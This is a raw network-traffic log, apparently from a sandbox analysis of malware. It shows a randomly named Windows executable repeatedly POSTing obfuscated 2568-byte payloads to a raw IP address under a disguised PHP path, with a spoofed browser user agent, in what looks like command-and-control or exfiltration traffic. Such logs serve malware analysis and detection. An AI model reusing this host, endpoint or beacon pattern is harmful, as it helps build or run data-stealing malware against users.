Apr 20, 2024 00:43:42.490281105 CEST	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 09 1a 27 03 29 2a 08 55 23 1c 3c 10 2f 5a 30 50 29 22 26 12 2e 0c 39 5b 2b 2f 28 5d 3e 07 26 09 2b 0d 2f 06 24 0b 24 15 33 02 36 1e 2c 3a 20 5a 01 11 27 42 30 29 33 0a 25 33 07 06 26 30 0c 58 27 3d 0c 5f 24 5e 31 0e 2a 3c 26 0a 30 3b 3c 10 28 2b 36 1e 2b 2f 33 42 32 3c 33 10 20 34 20 50 0c 10 3b 0d 28 32 09 56 25 5a 27 1d 26 2c 25 1c 21 2d 2c 52 25 11 23 1a 21 1a 01 5d 3c 31 0c 15 29 2e 2f 02 36 0b 3c 5a 33 21 20 54 2b 18 22 5e 2c 0f 20 54 02 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 98')U#</Z0P)"&.9[+/(]>&+/$$36,: Z'B0)3%3&0X'=_$^1<&0;<(+6+/3B2<3 4 P;(2V%Z'&,%!-,R%#!]<1)./6<Z3! T+"^, T=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49843	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:42.221719027 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:42.481482983 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:42.481688023 CEST	2568	OUT	Data Raw: 5a 56 5e 53 54 5e 58 54 5d 56 5a 59 52 5a 56 51 54 56 5c 5a 50 52 53 5e 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZV^ST^XT]VZYRZVQTV\ZPRS^W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$^0<!@ !$#1?7V<'"/94>/#4,T.$.G#$Z-)
Apr 20, 2024 00:43:42.746402025 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49844	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:43.262259960 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue
Apr 20, 2024 00:43:43.520869017 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:43.521048069 CEST	2568	OUT	Data Raw: 5f 56 5e 53 54 5b 5d 54 5d 56 5a 59 52 5f 56 54 54 52 5c 52 50 50 53 53 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _V^ST[]T]VZYR_VTTR\RPPSSW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$0-A#!&0%+'^4+V(+\5<) 2>W)0!< :.G#$Z-
Apr 20, 2024 00:43:43.788742065 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49845	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:44.188242912 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:44.449544907 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:44.449733019 CEST	2568	OUT	Data Raw: 5f 56 5e 52 54 5e 58 57 5d 56 5a 59 52 5a 56 5b 54 53 5c 58 50 5f 53 5f 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _V^RT^XW]VZYRZV[TS\XP_S_W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$3?2#"3(%+ #8(()4"<-V72>,,_7/U94.G#$Z-)
Apr 20, 2024 00:43:44.717535019 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49846	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:45.129266024 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:45.388027906 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:45.388385057 CEST	2568	OUT	Data Raw: 5f 5b 5b 5e 54 5e 58 50 5d 56 5a 59 52 50 56 55 54 54 5c 58 50 50 53 58 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _[[^T^XP]VZYRPVUTT\XPPSXW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$0B _&'0^2/";'+Y5<-49= \ ;W.4.G#$Z-
Apr 20, 2024 00:43:45.654557943 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49847	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:46.044049025 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:46.305681944 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:46.305911064 CEST	2568	OUT	Data Raw: 5a 50 5e 5d 54 5c 58 54 5d 56 5a 59 52 5f 56 5b 54 51 5c 5a 50 57 53 53 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZP^]T\XT]VZYR_V[TQ\ZPWSSW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$^$1@#9*30%Y (7+:6! 1"> 4'T:4.G#$Z-
Apr 20, 2024 00:43:46.572840929 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49848	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:46.950150013 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:47.212166071 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:47.212349892 CEST	2568	OUT	Data Raw: 5a 56 5e 5f 51 5b 58 52 5d 56 5a 59 52 5c 56 53 54 5d 5c 5b 50 55 53 5c 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZV^_Q[XR]VZYR\VST]\[PUS\W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$^&,: )"',_2(+X ;+R(;\#/-R#1!*,37Z$:.G#$Z-1
Apr 20, 2024 00:43:47.480381966 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49850	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:47.864001989 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:48.125541925 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:48.125893116 CEST	2568	OUT	Data Raw: 5f 52 5e 5f 51 5c 58 56 5d 56 5a 59 52 5b 56 57 54 51 5c 5a 50 55 53 5c 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _R^_Q\XV]VZYR[VWTQ\ZPUS\W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R''<%D4-$04^%7 ?S+98#,9W4">/ #<.4.G#$Z--
Apr 20, 2024 00:43:48.395236015 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	49851	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:48.776802063 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue
Apr 20, 2024 00:43:49.035196066 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:49.035403013 CEST	2568	OUT	Data Raw: 5f 51 5e 5b 51 5d 58 52 5d 56 5a 59 52 59 56 54 54 51 5c 5f 50 53 53 53 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _Q^[Q]XR]VZYRYVTTQ\_PSSSW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$['/=#)0V7&# $)* ""4*V>,$[7+T-4.G#$Z-%
Apr 20, 2024 00:43:49.300594091 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	49852	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:49.693587065 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:49.952683926 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:49.952994108 CEST	2568	OUT	Data Raw: 5f 53 5e 5c 54 5e 58 53 5d 56 5a 59 52 5b 56 56 54 5d 5c 5a 50 53 53 59 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _S^\T^XS]VZYR[VVT]\ZPSSYW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$3,!@4S'Y&#X7;$?\?]!-R4&W)+4<;W..G#$Z--
Apr 20, 2024 00:43:50.226156950 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	49853	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:50.614104033 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:50.875770092 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:50.876068115 CEST	2568	OUT	Data Raw: 5a 52 5b 59 54 58 5d 52 5d 56 5a 59 52 5c 56 51 54 56 5c 58 50 50 53 5f 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZR[YTX]R]VZYR\VQTV\XPPS_W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'0?!C#)U$V<\%+#8+)* 59R#">W*8Z!,$,4.G#$Z-1
Apr 20, 2024 00:43:51.146447897 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	49854	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:51.527874947 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:51.786382914 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:51.786602020 CEST	2568	OUT	Data Raw: 5f 5b 5b 59 51 5b 58 55 5d 56 5a 59 52 5c 56 54 54 5c 5c 5b 50 55 53 5b 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _[[YQ[XU]VZYR\VTT\\[PUS[W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R''A79&0 ^&]34'S(\'_"<)R4)*?#<T-.G#$Z-1
Apr 20, 2024 00:43:52.051901102 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	49855	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:52.435059071 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:52.696367025 CEST	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	49856	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:52.874401093 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2108 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:53.134284973 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:53.134486914 CEST	2108	OUT	Data Raw: 5f 50 5b 5c 51 5a 58 51 5d 56 5a 59 52 58 56 52 54 54 5c 5d 50 53 53 59 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _P[\QZXQ]VZYRXVRTT\]PSSYW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$'Z:45& ?&+\#8/R(\ !=#2%><^ ,,,4.G#$Z-%
Apr 20, 2024 00:43:53.401390076 CEST	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 09 1a 27 07 2a 14 26 1f 37 1c 28 1e 2c 02 23 0a 2a 21 3a 13 2d 54 39 59 3e 2f 01 02 29 2e 2d 57 3f 20 33 01 33 22 3f 06 33 05 26 1c 2d 2a 20 5a 01 11 27 0b 24 2a 23 0f 24 1d 00 13 24 1e 00 1c 25 04 3e 1b 33 16 2e 10 2a 2c 17 54 25 38 3f 05 2a 5e 31 08 3c 01 09 07 25 3f 3f 54 36 34 20 50 0c 10 38 54 2a 32 3b 57 31 2f 30 0f 26 3c 2a 0a 20 00 23 0e 25 3c 2c 09 21 0a 38 06 28 1f 08 5e 2b 04 3c 12 23 31 24 1e 27 21 0a 57 3f 18 22 5e 2c 0f 20 54 02 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 98'&7(,#!:-T9Y>/).-W? 33"?3&-* Z'$#$$%>3.,T%8?^1<%??T64 P8T2;W1/0&<* #%<,!8(^+<#1$'!W?"^, T=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	49857	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:53.015419006 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:53.276684046 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:53.276890993 CEST	2568	OUT	Data Raw: 5f 57 5e 5c 54 5d 5d 51 5d 56 5a 59 52 59 56 5b 54 54 5c 5b 50 5e 53 53 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _W^\T]]Q]VZYRYV[TT\[P^SSW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$$< 6'3<1;'_4(\(5*#1&)?;7< -4.G#$Z-%
Apr 20, 2024 00:43:53.544002056 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49858	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:53.914395094 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue
Apr 20, 2024 00:43:54.172925949 CEST	25	IN	HTTP/1.1 100 Continue
